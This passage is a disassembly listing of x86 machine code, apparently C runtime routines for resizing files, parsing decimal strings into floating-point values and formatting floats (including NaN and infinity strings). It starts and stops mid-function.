sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 nop call near ptr 2800000h mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD020, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC01C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC01C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD020 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD140 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: ___:off_438CB8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDE0, 5 jnz short loc_42528D mov dword_4DBDDC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax call near ptr 2600000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDDC, 0Dh nop call near ptr 26B0669h mov dword_4DBDE0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDDC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, [ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D088 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D088 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D088 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D084, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D088 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D084, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp dword_43D084, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D084, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D084, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE XREF: 